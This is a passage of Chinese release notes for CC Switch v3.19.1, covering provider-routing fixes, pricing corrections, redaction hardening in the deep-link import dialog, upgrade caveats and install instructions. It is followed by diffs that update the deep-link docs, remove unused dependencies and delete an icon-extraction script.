**选择删除文件而不是写入 `{}`**:空对象会被 Codex 判定为没有令牌的 ChatGPT 模式并在启动时报错,而文件缺失才等价于未登录、直接进登录流程。清理只在旧供应商已成功回填进数据库之后执行,所以被删掉的 key 并没有丢——它存进了那个供应商的记录里,再次选中它就会回来。同一处改动还放宽了 live 配置读取:清理之后的状态(没有 `auth.json`、有 `config.toml`)不再被报成「Codex 未安装」。
### 从设置页升级 Grok Build 只报一句 `os error 2`
在设置 → 关于里升级 Grok Build 会失败于 `Error: No such file or directory (os error 2)`,没有任何其它信息。
根因是探测与执行两条路径的不对称:探测走登录 shell,会读取用户的 rc 文件,因此看得见 nvm、Homebrew、Volta;而生命周期脚本跑在非登录 shell 下,继承的是图形界面应用启动时那份很窄的 PATH。这本来无所谓,因为锚定命令都用绝对路径调用目标程序——但 grok 0.2.112 把自更新改到了 npm 分发上,`grok update` 内部会调起 `npm view``npm i -g`,而 npm 自己又要通过 shebang 解析 node。内层调用返回 ENOENT,grok 就把它原样抛成了那句 `os error 2`
现在 macOS 与 Linux 上的生命周期命令会把登录 shell 的真实 PATH 并到继承的那份前面,读取方式是执行 `/usr/bin/env` 而不是回显变量——因为 fish 把 PATH 存成列表,回显会得到空格分隔的片段。原生安装的 Grok 还给升级链追加了官方 xAI 安装脚本作为兜底,**刻意不用 `npm i -g`**:npm 与主路径共享同样两种失败模式(没有 node、镜像源缺包),会一起失败;官方安装脚本是唯一不依赖 node 的路径,落点相同,并且会把 CLI 自己的 `installer` 设置改回 `internal`,顺带治好被早期 npm 兜底切到 npm 分发上的用户。
### Grok Build 开启接管后 404,且每次请求都像新会话
在 API 格式被改成 OpenAI Chat 或 Anthropic 的 Grok Build 供应商上开启接管,会立刻得到 404,没有故障转移也没有用量记录——接管改写了地址与 key,却没有动后端字段,于是 CLI 把请求发到了代理没有注册的路由上。现在接管会同时把后端固定为 Responses;针对具体供应商降级到 Chat Completions 的动作仍然发生在转发层,而这个被强制的值会随整份 live 配置的备份在代理停止时还原。
另一个问题是代理的会话识别此前只认 Codex 与 OpenAI 客户端,因此 Grok Build 的每一轮都会生成一个新的会话 ID 并标记为「非客户端提供」,这同时压掉了缓存键注入与看板里的按会话聚合。现在会读取 Grok 自己的头——先会话所属的对话 ID,再会话 ID,忽略每请求变化的那个——并使用独立前缀,避免与 Codex 的记录撞车。([#5677](https://github.com/farion1231/cc-switch/pull/5677)
### 9 个界面文案在所有语言下都显示简体中文
有 9 个字符串无论界面语言是什么都显示简体中文,英文与日文界面同样如此。每个调用点都用了「内联默认值」的写法、默认值是中文字面量,但对应的键在四个语言文件里**一个都没有**——而 i18next 会先走完语言链才考虑内联默认值,于是英文回退根本没有机会生效,中文字面量在所有语言下都赢了。
受影响的文案覆盖 Grok Build 供应商表单的必填校验提示、应用尚未接管时的故障转移悬停提示、另一个应用持有接管时停止 Claude Desktop 路由的警告及其原因说明、供应商标识读取失败提示、Codex 通用配置为空的错误、路由服务的停止与停止失败两个提示,以及用量表格里给「有 token 但算出来是零成本」的请求打的「未定价」标签。9 个键现在在简中、英文、日文、繁中里都有了。([#5960](https://github.com/farion1231/cc-switch/pull/5960)
### 繁体中文的「关于」页工具管理回落成英文
界面语言设为繁体中文时,「关于」页的工具管理区块显示英文——版本行、安装与更新按钮、结果提示、安装冲突诊断,以及整个升级确认弹窗。这块面板由三次改动逐步建成,每次都只补了简中、英文、日文;而 i18next 的策略是回落英文而不是报错,于是 30 个缺失的键在测试里完全不可见。**这个缺口自 v3.16.0 起一直带到 v3.19.0。**
30 个文案现在全部译好,安装提示也与其它语言对齐;新增的语言测试要求每一个工具管理文案在四种语言下都存在、且插值变量一致,这类漂移以后会在测试里失败而不是发出去。([#5943](https://github.com/farion1231/cc-switch/pull/5943)
### 内置定价与厂商牌价脱节
成本在写入日志时就按内置定价表冻结,所以一个过期的播种价会静默地把之后每一次请求都算错。本版修正四行:`deepseek-chat``deepseek-reasoner` 现在是 V4 Flash 的旧称别名,每百万 token $0.14 输入 / $0.28 输出、缓存读 $0.0028(原为 $0.27/$1.10 与 $0.55/$2.19);`minimax-m3` 按官方标准档减半到 $0.30/$1.20`gpt-5.6-luna` 按 OpenAI 2026-07-30 的降价下调 80% 到 $0.20/$1.20`gpt-5.6-terra` 下调 20% 到 $2/$12`gpt-5.6-sol` 刻意不动,该系列的缓存写入比例保持不变。
修复只在一行的四个价格列**仍然全等于此前的内置值**时才改写它,所以你自己改过的价格——或者由 models.dev 同步写入的价格——绝不会被动到。
---
## 安全加固
### 深链导入确认框:脱敏更严,截断更少
这是 v3.19.0 那轮 `ccswitch://` 确认框加固的延续。配置预览改由一个共享模块统一构建,会递归地对嵌套 TOML 表与 JSON 对象里的密钥脱敏,一次修好两个方向相反的缺陷:Grok Build 的导入此前**完全不渲染**配置预览,而 Codex 的导入会把内嵌的 `api_key` **明文打印**出来。
配置预览上 300 字符的截断被移除,完整内容现在渲染在可滚动的框里——补上了确认框最后一处可能隐藏「即将写入什么」的地方。脱敏本身在所有使用它的位置都更严了,**包括 MCP 导入确认框**:敏感键名匹配新增 `AUTHORIZATION``COOKIE``CREDENTIAL`,以及精确匹配的 `AUTH``BEARER`;脱敏后显示的明文前缀从 8 个字符缩到 4 个;长度不超过 8 个字符的值现在整体替换,而不是原样显示。
最后,前端的 Base64 解码器不再裁掉首尾空白——那有可能是 URL 解码把 `+` 变成的空格。这与 v3.19.0 修过的是同一类前后端解码口径分歧:确认框显示的是一回事,导入器写进去的是另一回事。
---
## 内部
### 删掉 3,166 行已无调用方的代码、14 个模块与 4 个依赖
一轮针对「没有任何调用方」的清理。后端删除了供应商图标推断表、一个占位的健康检查器、一套从未接线的 SSE 实现(含它自己的流式与非流式处理器)、两个未使用的代理会话类型,以及四个无引用的用量解析器与一个死的成本计算入口——**线上计费路径、它的自动识别解析器与会话 ID 提取全部原封不动**。22 处 `#[allow(dead_code)]` 抑制(正是它们让编译器一直没报警)随之删除。
前端删除 14 个无导入方的模块,包括已被面板改版取代的提示词表单弹窗与仓库管理器、一个重复的代理配置 hook、一个在项目历史上从未有过导入方的熔断器面板,以及三个 schema 文件;它们的文案在四种语言里同步删除。这些模块背后的 Tauri 命令刻意保留。另外删除 4 个未使用的 npm 依赖。两个会重新生成手工维护的图标索引的脚本被移除,索引文件头改为写明「刻意不支持自动重生成」。
配套的一处改动把代理状态与接管状态合并到单一的查询层——此前有第二套并行的 hook 覆盖同样的命令,但零调用方,它的查询键从来没有观察者,针对它们的失效调用全是空转。查询键字符串逐字未变,保留下来的 hook 维持原有的轮询行为。([#5916](https://github.com/farion1231/cc-switch/pull/5916)、[#5928](https://github.com/farion1231/cc-switch/pull/5928)
---
## 升级提醒
### 本版没有数据库迁移
v3.19.1 不含 schema 迁移(版本号保持 v16),不会触发升级前备份,升级即用。
### Claude Desktop 双算的自愈有 30 天窗口(请读)
修复是在查询时抑制重复行,而不是改写或删除数据,所以**明细行还在的每一天都会在下次启动后恢复正确总数**,不需要任何重建操作。
但明细行超过 30 天会被聚合进日报并清理,而日报是按聚合当时生效的口径算一次就固定下来的。**已经被没有此修复的版本聚合掉的日期,会永久保留虚高的数字。** 这个回归自 v3.18.0(2026-07-21)进入,所以越早升级、能救回的历史区间越完整。
### 新定价对历史数据的两种不同影响
八个新补定价的模型会被**回溯补算**:启动时会给成本记为零的请求补上成本,因此这些模型的看板数字会**上升**。已经聚合并清理掉的明细行无法补算,保持为零。
四个改价的模型方向相反:补算只处理零成本行,所以已经记录的请求保持旧价,只有新请求按新价计费——同一个模型的历史花费与新增花费会不一致。两条路径都保护你自己的定价:修复只改仍是原内置值的行,而 `~/.cc-switch/model-pricing.json` 里的手工改价、models.dev 同步值与删除墓碑会在播种与修复之后重放,始终优先。
### 预设变更只影响新建供应商
已经保存的 DeepSeek 或火山方舟 Coding Plan 供应商保持它存的 API 格式,仍然需要本地路由,也仍用旧目录。想用直连,请从预设重新创建供应商,或在供应商表单的高级区把 API 格式改为原生 Responses。
不过,**已经是原生 Responses、且地址在 `deepseek.com` 上的供应商,下次切换时就会自动用上镜像的官方目录**,不需要重新保存——因为判定读的是 live 配置。
### DeepSeek V4 Pro 暂时还不能直连
预设里仍然列着 `deepseek-v4-pro`,厂商自己发布的目录也带着它,但 **DeepSeek 侧针对 pro 的 Codex 集成尚未开通**,官方给出的时间是 2026 年 8 月初。在那之前,直连模式下选 pro 会在上游报错——请用 `deepseek-v4-flash`,它也是预设的默认模型。
如果你现在就要用 pro,把这个供应商的 API 格式改回「OpenAI Chat」并开启本地路由接管即可。这正是 v3.19.1 之前 DeepSeek 一直走的那条路:本地代理会把 Codex 发出的 Responses 请求转换成 Chat Completionspro 在这条路上不受影响。
### DeepSeek 官方目录的两个前提
镜像的目录声明了 Codex 客户端最低版本 0.144.0**CC Switch 自己不做校验**——它携带的 freeform `apply_patch` 注册需要这个版本或更新。另外,生成的目录文件会涨到约 75 KB(两个镜像模型),因为每个条目都带着完整的提示词框架文本。
### 直连之后,用量的归属会从供应商名变成 `Codex (Session)`
DeepSeek、火山方舟 Coding Plan 与腾讯混元不再需要接管,它们的流量可以完全绕过本地代理,代理侧的逐请求记录因此看不到它们。
**用量本身不会丢,也仍然分得清**——Codex 的会话日志导入照常记录,只是这条路径不携带供应商身份:所有没走本地代理的 Codex 用量会一起归入名为 `Codex (Session)` 的条目,官方订阅的消耗也在这一行里。也就是说,DeepSeek 从走路由改为直连之后,它的用量会从「DeepSeek」这个名字下移到 `Codex (Session)`
**要区分它们,看模型**:每条用量记录都带着自己的模型 ID,用量面板的「模型统计」按模型逐行列出——`deepseek-v4-flash``hy3``ark-code-latest` 与官方订阅的 GPT 系列各归各行,费用与 token 都是分开的。只有当你需要的正是**按供应商**这个维度(比如同一个模型在多家聚合站之间比价),才需要继续用本地路由接管——这条路会记录真实的供应商名。
### Codex 残留凭据清理的两个前提
清理只在「切入的供应商带有显式的官方分类」**且**「切出的供应商已成功回填」时执行。手工创建、没有标记官方分类的条目,或者回填失败的那次切换,残留仍会留在盘上。
### Grok Build 开启接管会改写后端字段
在 Grok Build 供应商上开启接管,现在会把 live 配置里的后端字段改写为 Responses。数据库里存的供应商记录不受影响,代理停止时 live 文件会从备份整体还原。
### 工具安装与升级的 PATH 变化(仅 macOS / Linux
设置 → 关于里触发的每一次工具安装与升级,现在都会把登录 shell 的 PATH 并到继承的那份前面,因此生命周期脚本按名称解析到的程序有可能与之前不同;每次操作还会多启动一个 shell 来读取这份 PATH,这会执行你的交互式启动文件。**Windows 不受影响。**
使用 grok 0.2.112 及以上版本的用户可能会看到两份安装记录——原生的那份,加上 `grok update` 自己创建的全局 npm 包;它们由上游保持同步,版本号一致。
### 环境变量冲突检测的匹配口径变了
Claude Code、Codex、Gemini 的检测从「包含」收紧为「前缀」,因此仅仅名字里含有应用名的变量——`MY_ANTHROPIC_API_KEY``OLD_GEMINI_API_KEY`——**不再被报为冲突**。同时新增了 Grok Build 的检测。
### 深链导入确认框显示的密钥更少
脱敏后显示的明文前缀从 8 个字符缩到 4 个,长度不超过 8 个字符的值整体脱敏。这也影响 MCP 导入确认框。
---
## 风险提示
### 沿用的提示
**xAI Grok OAuth 登录**:复用官方 Grok CLI 的公开 OAuth 客户端身份,使用可能导致账号被限制或封禁——详见 [v3.18.0 release notes](v3.18.0-zh.md#风险提示)。
**Codex OAuth 反向代理**:使用 ChatGPT 订阅的 Codex OAuth 反代可能违反 OpenAI 服务条款,详情见 [v3.13.0 release notes](v3.13.0-zh.md#-风险提示)。
**SuperGrok 配额查询**:供应商卡片的配额展示依赖 grok.com 的非公开计费端点,xAI 调整接口后可能失效——详见 [v3.19.0 release notes](v3.19.0-zh.md#风险提示)。
**第三方供应商路由**:通过 CC Switch 本地代理把 Codex、Claude Desktop 或 Grok Build 的请求转换并转发到第三方供应商时,各供应商对计费、合规与数据留存的约束不同,请在使用前阅读目标供应商的服务条款。
用户启用上述功能即表示自行承担相关风险。CC Switch 不对因使用这些功能而导致的任何账号限制、警告或服务暂停承担责任。
---
## 致谢
这一版的修复大半来自外部贡献者——六个 PR 里有五个不是我写的。
### 代码贡献
- [#5677](https://github.com/farion1231/cc-switch/pull/5677)Grok Build 的代理接管与深链集成收尾——补齐后端字段、会话身份识别、故障转移页签与环境变量检测,并顺带修好了配置预览里的密钥泄漏,感谢 @YUZHEthefool。这是本版覆盖面最广的一份工作。
- [#5951](https://github.com/farion1231/cc-switch/pull/5951)Claude Desktop 用量双算修复,感谢 @Komikawayi。定位到 v3.18.0 的哪一处改动让三道去重防线同时失守,是本版最需要耐心的一次排查。
- [#5916](https://github.com/farion1231/cc-switch/pull/5916)、[#5928](https://github.com/farion1231/cc-switch/pull/5928):删除 3,166 行无调用方代码与重复的代理查询层,感谢 @SaladDay
- [#5943](https://github.com/farion1231/cc-switch/pull/5943):补齐繁体中文的工具管理文案,并新增防止语言漂移的测试,感谢 @yovinchen
- [#5960](https://github.com/farion1231/cc-switch/pull/5960):补齐 9 个在所有语言下都显示简体中文的文案,感谢 @mhy1227
### 问题反馈
感谢 @Alaric-L 在 [#5938](https://github.com/farion1231/cc-switch/issues/5938) 中报告 Claude Desktop 的每次请求都多出一条 `session_log` 来源的日志、导致 token 被统计两遍——这条反馈精确到了数据来源,本版最重要的用量修复直接由它定位。
---
## 下载与安装
访问 [Releases](https://github.com/farion1231/cc-switch/releases/latest) 下载对应版本,或从官网 [ccswitch.io](https://ccswitch.io) 获取(下载经 Cloudflare 边缘节点分发,不依赖 GitHub 可达)。
### 系统要求
| 系统 | 最低版本 | 架构 |
| ------- | -------------------------- | ----------------------------------- |
| Windows | Windows 10 及以上 | x64 / ARM64 |
| macOS | macOS 12 (Monterey) 及以上 | Intel (x64) / Apple Silicon (arm64) |
| Linux | 见下表 | x64 / ARM64 |
### Windows
| 文件 | 说明 |
| ---------------------------------------- | ----------------------------------- |
| `CC-Switch-v3.19.1-Windows.msi` | **推荐** - MSI 安装包,支持自动更新 |
| `CC-Switch-v3.19.1-Windows-Portable.zip` | 便携版,解压即用,不写入注册表 |
Windows ARM64 设备请选择文件名中带 `arm64` 标识的对应制品。
### macOS
| 文件 | 说明 |
| -------------------------------- | --------------------------------------------- |
| `CC-Switch-v3.19.1-macOS.dmg` | **推荐** - DMG 安装包,拖入 Applications 即可 |
| `CC-Switch-v3.19.1-macOS.zip` | 解压后拖入 ApplicationsUniversal Binary |
| `CC-Switch-v3.19.1-macOS.tar.gz` | 用于 Homebrew 安装和自动更新 |
Homebrew 安装:
```bash
brew install --cask cc-switch
```
更新:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux 资产同时提供 **x86_64****ARM64**`aarch64`)两种架构。资产文件名中包含架构标识,请按你机器的 `uname -m` 输出选择对应版本:
- `CC-Switch-v3.19.1-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.1-Linux-arm64.AppImage` / `.deb` / `.rpm`
| 发行版 | 推荐格式 | 安装方式 |
| --------------------------------------- | ----------- | ---------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb``sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm``sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | 添加执行权限后直接运行,或使用 AUR |
| 其他发行版 / 不确定 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+1 -1
View File
@@ -60,7 +60,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `configUrl` | No | Remote configuration URL |
| `enabled` | No | Whether to enable (boolean) |
| `usageScript` | No | Usage query script |
| `usageEnabled` | No | Whether to enable usage query (default true) |
| `usageEnabled` | No | Whether to enable usage query (**default false**). The script body is shown in full in the import confirmation dialog; without an explicit `true` the script is imported but left disabled, and can be enabled in the app |
| `usageApiKey` | No | Usage query API Key |
| `usageBaseUrl` | No | Usage query base URL |
| `usageAccessToken` | No | Usage query access token |
+1 -1
View File
@@ -60,7 +60,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `configUrl` | いいえ | リモート設定 URL |
| `enabled` | いいえ | 有効にするかどうか(ブール値) |
| `usageScript` | いいえ | 使用量クエリスクリプト |
| `usageEnabled` | いいえ | 使用量クエリを有効にするか(デフォルト true |
| `usageEnabled` | いいえ | 使用量クエリを有効にするか(**デフォルト false**)。スクリプト本文はインポート確認ダイアログに全文表示されます。明示的に `true` を指定しない場合はインポートされるだけで有効化されず、アプリ内で手動で有効にできます |
| `usageApiKey` | いいえ | 使用量クエリ専用 API Key |
| `usageBaseUrl` | いいえ | 使用量クエリ専用アドレス |
| `usageAccessToken` | いいえ | 使用量クエリアクセストークン |
+1 -1
View File
@@ -60,7 +60,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `configUrl` | 否 | 远程配置 URL |
| `enabled` | 否 | 是否启用(布尔值) |
| `usageScript` | 否 | 用量查询脚本 |
| `usageEnabled` | 否 | 是否启用用量查询(默认 true |
| `usageEnabled` | 否 | 是否启用用量查询(**默认 false**)。脚本正文会完整展示在导入确认框中;未显式传 `true` 时仅导入不启用,可在应用内手动开启 |
| `usageApiKey` | 否 | 用量查询专用 API Key |
| `usageBaseUrl` | 否 | 用量查询专用地址 |
| `usageAccessToken` | 否 | 用量查询访问令牌 |
+1 -5
View File
@@ -1,6 +1,6 @@
{
"name": "cc-switch",
"version": "3.18.0",
"version": "3.19.1",
"description": "All-in-One Assistant for Claude Code, Codex & Gemini CLI",
"type": "module",
"scripts": {
@@ -51,7 +51,6 @@
"@dnd-kit/sortable": "^10.0.0",
"@dnd-kit/utilities": "^3.2.2",
"@hookform/resolvers": "^5.2.2",
"@lobehub/icons-static-svg": "^1.73.0",
"@radix-ui/react-accordion": "^1.2.12",
"@radix-ui/react-checkbox": "^1.3.3",
"@radix-ui/react-collapsible": "^1.1.12",
@@ -65,14 +64,12 @@
"@radix-ui/react-switch": "^1.2.6",
"@radix-ui/react-tabs": "^1.1.13",
"@radix-ui/react-tooltip": "^1.2.8",
"@radix-ui/react-visually-hidden": "^1.2.4",
"@tanstack/react-query": "^5.90.3",
"@tanstack/react-virtual": "^3.13.23",
"@tauri-apps/api": "^2.8.0",
"@tauri-apps/plugin-dialog": "^2.4.0",
"@tauri-apps/plugin-log": "2.8.0",
"@tauri-apps/plugin-process": "^2.0.0",
"@tauri-apps/plugin-store": "^2.0.0",
"@tauri-apps/plugin-updater": "^2.0.0",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
@@ -81,7 +78,6 @@
"flexsearch": "^0.8.212",
"framer-motion": "^12.23.25",
"i18next": "^25.5.2",
"jsonc-parser": "^3.2.1",
"lucide-react": "^0.542.0",
"react": "^18.2.0",
"react-dom": "^18.2.0",
-51
View File
@@ -41,9 +41,6 @@ importers:
'@hookform/resolvers':
specifier: ^5.2.2
version: 5.2.2(react-hook-form@7.65.0(react@18.3.1))
'@lobehub/icons-static-svg':
specifier: ^1.73.0
version: 1.73.0
'@radix-ui/react-accordion':
specifier: ^1.2.12
version: 1.2.12(@types/react-dom@18.3.7(@types/react@18.3.23))(@types/react@18.3.23)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)
@@ -83,9 +80,6 @@ importers:
'@radix-ui/react-tooltip':
specifier: ^1.2.8
version: 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.23))(@types/react@18.3.23)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)
'@radix-ui/react-visually-hidden':
specifier: ^1.2.4
version: 1.2.4(@types/react-dom@18.3.7(@types/react@18.3.23))(@types/react@18.3.23)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)
'@tanstack/react-query':
specifier: ^5.90.3
version: 5.90.3(react@18.3.1)
@@ -104,9 +98,6 @@ importers:
'@tauri-apps/plugin-process':
specifier: ^2.0.0
version: 2.3.0
'@tauri-apps/plugin-store':
specifier: ^2.0.0
version: 2.4.0
'@tauri-apps/plugin-updater':
specifier: ^2.0.0
version: 2.9.0
@@ -131,9 +122,6 @@ importers:
i18next:
specifier: ^25.5.2
version: 25.5.2(typescript@5.9.2)
jsonc-parser:
specifier: ^3.2.1
version: 3.3.1
lucide-react:
specifier: ^0.542.0
version: 0.542.0(react@18.3.1)
@@ -835,9 +823,6 @@ packages:
'@lezer/markdown@1.6.0':
resolution: {integrity: sha512-AXb98u3M6BEzTnreBnGtQaF7xFTiMA92Dsy5tqEjpacbjRxDSFdN4bKJo9uvU4cEEOS7D2B9MT7kvDgOEIzJSw==}
'@lobehub/icons-static-svg@1.73.0':
resolution: {integrity: sha512-ydKUCDoopdmulbjDZo/gppaODd5Ju5nPneVcN9A5dAz9IJZUMkLms8bqostMLrqcdMQ8resKjLuV9RhJaWhaag==}
'@marijn/find-cluster-break@1.0.2':
resolution: {integrity: sha512-l0h88YhZFyKdXIFNfSWpyjStDjGHwZ/U7iobcK1cQQD8sejsONdQtTVU+1wVN1PBw40PiiHB1vA5S7VTfQiP9g==}
@@ -1319,19 +1304,6 @@ packages:
'@types/react-dom':
optional: true
'@radix-ui/react-visually-hidden@1.2.4':
resolution: {integrity: sha512-kaeiyGCe844dkb9AVF+rb4yTyb1LiLN/e3es3nLiRyN4dC8AduBYPMnnNlDjX2VDOcvDEiPnRNMJeWCfsX0txg==}
peerDependencies:
'@types/react': '*'
'@types/react-dom': '*'
react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
peerDependenciesMeta:
'@types/react':
optional: true
'@types/react-dom':
optional: true
'@radix-ui/rect@1.1.1':
resolution: {integrity: sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==}
@@ -1571,9 +1543,6 @@ packages:
'@tauri-apps/plugin-process@2.3.0':
resolution: {integrity: sha512-0DNj6u+9csODiV4seSxxRbnLpeGYdojlcctCuLOCgpH9X3+ckVZIEj6H7tRQ7zqWr7kSTEWnrxtAdBb0FbtrmQ==}
'@tauri-apps/plugin-store@2.4.0':
resolution: {integrity: sha512-PjBnlnH6jyI71MGhrPaxUUCsOzc7WO1mbc4gRhME0m2oxLgCqbksw6JyeKQimuzv4ysdpNO3YbmaY2haf82a3A==}
'@tauri-apps/plugin-updater@2.9.0':
resolution: {integrity: sha512-j++sgY8XpeDvzImTrzWA08OqqGqgkNyxczLD7FjNJJx/uXxMZFz5nDcfkyoI/rCjYuj2101Tci/r/HFmOmoxCg==}
@@ -2267,9 +2236,6 @@ packages:
engines: {node: '>=6'}
hasBin: true
jsonc-parser@3.3.1:
resolution: {integrity: sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==}
launch-ide@1.3.0:
resolution: {integrity: sha512-pxiF+HVNMV0dDc6Z0q89RDmzMF9XmSGaOn4ueTegjMy3cUkezc3zrki5PCiz68zZIqAuhW7iwoWX7JO4Kn6B0A==}
@@ -3692,8 +3658,6 @@ snapshots:
'@lezer/common': 1.2.3
'@lezer/highlight': 1.2.1
'@lobehub/icons-static-svg@1.73.0': {}
'@marijn/find-cluster-break@1.0.2': {}
'@mswjs/interceptors@0.40.0':
@@ -4197,15 +4161,6 @@ snapshots:
'@types/react': 18.3.23
'@types/react-dom': 18.3.7(@types/react@18.3.23)
'@radix-ui/react-visually-hidden@1.2.4(@types/react-dom@18.3.7(@types/react@18.3.23))(@types/react@18.3.23)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)':
dependencies:
'@radix-ui/react-primitive': 2.1.4(@types/react-dom@18.3.7(@types/react@18.3.23))(@types/react@18.3.23)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)
react: 18.3.1
react-dom: 18.3.1(react@18.3.1)
optionalDependencies:
'@types/react': 18.3.23
'@types/react-dom': 18.3.7(@types/react@18.3.23)
'@radix-ui/rect@1.1.1': {}
'@reduxjs/toolkit@2.11.0(react-redux@9.2.0(@types/react@18.3.23)(react@18.3.1)(redux@5.0.1))(react@18.3.1)':
@@ -4362,10 +4317,6 @@ snapshots:
dependencies:
'@tauri-apps/api': 2.8.0
'@tauri-apps/plugin-store@2.4.0':
dependencies:
'@tauri-apps/api': 2.8.0
'@tauri-apps/plugin-updater@2.9.0':
dependencies:
'@tauri-apps/api': 2.8.0
@@ -5099,8 +5050,6 @@ snapshots:
json5@2.2.3: {}
jsonc-parser@3.3.1: {}
launch-ide@1.3.0:
dependencies:
chalk: 4.1.1
-212
View File
@@ -1,212 +0,0 @@
const fs = require('fs');
const path = require('path');
// 要提取的图标列表(按分类组织)
const ICONS_TO_EXTRACT = {
// AI 服务商(必需)
aiProviders: [
'openai', 'anthropic', 'claude', 'google', 'gemini',
'deepseek', 'kimi', 'moonshot', 'stepfun', 'zhipu', 'minimax',
'baidu', 'alibaba', 'tencent', 'meta', 'microsoft',
'cohere', 'perplexity', 'mistral', 'huggingface'
],
// 云平台
cloudPlatforms: [
'aws', 'azure', 'huawei', 'cloudflare'
],
// 开发工具
devTools: [
'github', 'gitlab', 'docker', 'kubernetes', 'vscode'
],
// 其他
others: [
'settings', 'folder', 'file', 'link'
]
};
// 合并所有图标
const ALL_ICONS = [
...ICONS_TO_EXTRACT.aiProviders,
...ICONS_TO_EXTRACT.cloudPlatforms,
...ICONS_TO_EXTRACT.devTools,
...ICONS_TO_EXTRACT.others
];
// 提取逻辑
const OUTPUT_DIR = path.join(__dirname, '../src/icons/extracted');
const SOURCE_DIR = path.join(__dirname, '../node_modules/@lobehub/icons-static-svg/icons');
// 确保输出目录存在
if (!fs.existsSync(OUTPUT_DIR)) {
fs.mkdirSync(OUTPUT_DIR, { recursive: true });
}
console.log('🎨 CC-Switch Icon Extractor\n');
console.log('========================================');
console.log('📦 Extracting icons...\n');
let extracted = 0;
let notFound = [];
// 提取图标
ALL_ICONS.forEach(iconName => {
const sourceFile = path.join(SOURCE_DIR, `${iconName}.svg`);
const targetFile = path.join(OUTPUT_DIR, `${iconName}.svg`);
if (fs.existsSync(sourceFile)) {
fs.copyFileSync(sourceFile, targetFile);
console.log(`${iconName}.svg`);
extracted++;
} else if (fs.existsSync(targetFile)) {
console.log(`${iconName}.svg (kept local custom icon)`);
extracted++;
} else {
console.log(`${iconName}.svg (not found)`);
notFound.push(iconName);
}
});
// 生成索引文件
console.log('\n📝 Generating index file...\n');
const indexContent = `// Auto-generated icon index
// Do not edit manually
export const icons: Record<string, string> = {
${ALL_ICONS.filter(name => !notFound.includes(name))
.map(name => {
const svg = fs.readFileSync(path.join(OUTPUT_DIR, `${name}.svg`), 'utf-8');
const escaped = svg.replace(/`/g, '\\`').replace(/\$/g, '\\$');
return ` '${name}': \`${escaped}\`,`;
})
.join('\n')}
};
export const iconList = Object.keys(icons);
export function getIcon(name: string): string {
return icons[name.toLowerCase()] || '';
}
export function hasIcon(name: string): boolean {
return name.toLowerCase() in icons;
}
`;
fs.writeFileSync(path.join(OUTPUT_DIR, 'index.ts'), indexContent);
console.log('✓ Generated: src/icons/extracted/index.ts');
// 生成图标元数据
const metadataContent = `// Icon metadata for search and categorization
import { IconMetadata } from '@/types/icon';
export const iconMetadata: Record<string, IconMetadata> = {
// AI Providers
openai: { name: 'openai', displayName: 'OpenAI', category: 'ai-provider', keywords: ['gpt', 'chatgpt'], defaultColor: '#00A67E' },
anthropic: { name: 'anthropic', displayName: 'Anthropic', category: 'ai-provider', keywords: ['claude'], defaultColor: '#D4915D' },
claude: { name: 'claude', displayName: 'Claude', category: 'ai-provider', keywords: ['anthropic'], defaultColor: '#D4915D' },
google: { name: 'google', displayName: 'Google', category: 'ai-provider', keywords: ['gemini', 'bard'], defaultColor: '#4285F4' },
gemini: { name: 'gemini', displayName: 'Gemini', category: 'ai-provider', keywords: ['google'], defaultColor: '#4285F4' },
deepseek: { name: 'deepseek', displayName: 'DeepSeek', category: 'ai-provider', keywords: ['deep', 'seek'], defaultColor: '#1E88E5' },
moonshot: { name: 'moonshot', displayName: 'Moonshot', category: 'ai-provider', keywords: ['kimi', 'moonshot'], defaultColor: '#6366F1' },
kimi: { name: 'kimi', displayName: 'Kimi', category: 'ai-provider', keywords: ['moonshot'], defaultColor: '#6366F1' },
stepfun: { name: 'stepfun', displayName: 'StepFun', category: 'ai-provider', keywords: ['stepfun', 'step', 'jieyue', '阶跃星辰'], defaultColor: '#005AFF' },
zhipu: { name: 'zhipu', displayName: 'Zhipu AI', category: 'ai-provider', keywords: ['chatglm', 'glm'], defaultColor: '#0F62FE' },
minimax: { name: 'minimax', displayName: 'MiniMax', category: 'ai-provider', keywords: ['minimax'], defaultColor: '#FF6B6B' },
baidu: { name: 'baidu', displayName: 'Baidu', category: 'ai-provider', keywords: ['ernie', 'wenxin'], defaultColor: '#2932E1' },
alibaba: { name: 'alibaba', displayName: 'Alibaba', category: 'ai-provider', keywords: ['qwen', 'tongyi'], defaultColor: '#FF6A00' },
tencent: { name: 'tencent', displayName: 'Tencent', category: 'ai-provider', keywords: ['hunyuan'], defaultColor: '#00A4FF' },
meta: { name: 'meta', displayName: 'Meta', category: 'ai-provider', keywords: ['facebook', 'llama'], defaultColor: '#0081FB' },
microsoft: { name: 'microsoft', displayName: 'Microsoft', category: 'ai-provider', keywords: ['copilot', 'azure'], defaultColor: '#00A4EF' },
